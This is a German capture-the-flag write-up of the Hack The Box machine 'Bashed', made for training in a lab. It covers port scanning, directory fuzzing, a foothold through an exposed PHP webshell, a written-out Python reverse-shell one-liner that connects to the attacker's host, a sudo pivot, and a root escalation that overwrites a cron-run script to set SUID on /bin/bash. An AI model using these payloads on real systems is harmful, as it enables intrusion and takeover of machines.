HTB · published
Bashed
Hack The Box CPTS-Roadmap Writeup für Bashed: Web-Fuzzing, phpbash Foothold, sudo Pivot zu scriptmanager und Cronjob Privilege Escalation.
Metadaten
- Name: Bashed
- IP Address:
10.129.242.91 - Plattform: Linux
- Kategorie: Web / Fuzzing / Webshell / Cron PrivEsc
- Schwierigkeit: Easy
- Ziel(e): User, Root
- Kurzbeschreibung: Bashed ist eine Easy-Linux-Maschine, bei der der Einstieg über Web-Enumeration gelingt. Durch Fuzzing wird ein
/dev-Verzeichnis gefunden, in demphpbash.phpliegt. Diese Webshell liefert Zugriff alswww-data. Über eine sudo-Misskonfiguration wird zuscriptmanagergewechselt. Ein von Root ausgeführter Cronjob in/scriptserlaubt anschließend Privilege Escalation zu Root.
Reconnaissance / Enumeration
Der initiale Full-Port-Scan zeigte nur einen offenen Port:
nmap -p- --min-rate 10000 -T4 -v -n -oN 10.129.242.91-initial.nmap 10.129.242.91
PORT STATE SERVICE
80/tcp open http
Damit war der Webserver der klare Fokus.
Web Enumeration
Die Verzeichnisse wurden mit ffuf enumeriert:
ffuf -u http://10.129.242.91/FUZZ \
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories.txt \
-t 50 \
-mc 200,301,302
Interessante Treffer:
images [Status: 301]
css [Status: 301]
uploads [Status: 301]
js [Status: 301]
dev [Status: 301]
php [Status: 301]
fonts [Status: 301]
Der wichtigste Fund war:
/dev
In diesem Verzeichnis lag phpbash.php:
/dev/phpbash.php
/dev/phpbash.min.php
phpbash.php ist eine PHP-Webshell und ermöglichte direkt Command Execution im Browser.
Foothold
Über phpbash.php wurde zunächst geprüft, welcher Benutzer die Shell ausführt:
www-data@bashed:/var/www/html/dev# whoami
www-data
Damit war der initiale Zugriff als Webserver-User vorhanden.
Für eine stabilere Shell wurde ein Listener gestartet:
nc -lvnp 1337
Auf dem Ziel wurde über die Webshell eine Python-Reverse-Shell ausgeführt:
export RHOST="10.10.14.118";export RPORT=1337;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
Eingehende Verbindung:
listening on [any] 1337 ...
connect to [10.10.14.118] from (UNKNOWN) [10.129.242.91] 57632
$ whoami
www-data
User Flag
Die User-Flag lag im Home-Verzeichnis von arrexel und war für www-data lesbar:
cat /home/arrexel/user.txt
7e4af[REDACTED-USER-FLAG]45ad
Lateral Movement zu scriptmanager
Die sudo-Rechte von www-data waren der nächste wichtige Fund:
sudo -l
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
Damit konnte www-data ohne Passwort Befehle als scriptmanager ausführen.
Userwechsel:
sudo -u scriptmanager /bin/bash
Proof:
scriptmanager@bashed:/tmp$ whoami
scriptmanager
Privilege Escalation Enumeration
Im Root-Verzeichnis fiel ein interessantes Verzeichnis auf:
ls -al /
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 scripts
Das Verzeichnis /scripts gehörte scriptmanager und war für diesen Benutzer beschreibbar.
Inhalt:
ls /scripts
test.py
test.txt
test.py:
sudo -u scriptmanager cat /scripts/test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
Das Muster deutete auf einen Root-Cronjob hin, der regelmäßig /scripts/test.py ausführt und dabei test.txt schreibt.
Privilege Escalation zu Root
Da scriptmanager die Datei /scripts/test.py ändern konnte und der Cronjob sie offenbar als Root ausführte, wurde die Datei überschrieben.
Ziel: /bin/bash mit SUID-Bit versehen.
echo 'import os; os.system("chmod u+s /bin/bash")' | sudo -u scriptmanager tee /scripts/test.py
Nach kurzer Wartezeit lief der Cronjob und setzte das SUID-Bit auf /bin/bash.
Root-Shell:
/bin/bash -p
Proof:
bash-4.3# whoami
root
Root Flag
cat /root/root.txt
d4b49[REDACTED-ROOT-FLAG]e87a
Post-Exploitation
- Foothold:
phpbash.phpunter/dev. - User: Zugriff als
www-data; User-Flag in/home/arrexel/user.txt. - Lateral Movement:
sudo -u scriptmanagerdurch NOPASSWD-Regel. - Root: Schreibbares
/scripts/test.py, das von Root per Cron ausgeführt wurde. - Root-Flag:
/root/root.txt.
Lessons Learned
- Fuzzing lohnt sich: Der entscheidende Einstieg war ein verstecktes
/dev-Verzeichnis. - Webshells sind oft nur der Anfang:
phpbash.phplieferte Command Execution, eine Reverse Shell machte die Arbeit stabiler. sudo -limmer prüfen: Die NOPASSWD-Regel fürscriptmanagerwar der Pivot.- Cronjobs sind PrivEsc-Gold: Wenn Root ein Script ausführt, das ein anderer Benutzer schreiben kann, ist Root meist nur eine Frage der Payload.
- Dateirechte lesen:
/scriptswar durch Owner und Rechte der klare Hinweis auf den nächsten Schritt.
Notizen
Bashed ist eine sehr gute CPTS-Roadmap-Maschine für Web-Enumeration und Linux-Privilege-Escalation-Grundlagen: Verzeichnis-Fuzzing, Webshell, Shell-Stabilisierung, sudo -l, Dateirechte und Cronjob-Missbrauch greifen hier sauber ineinander.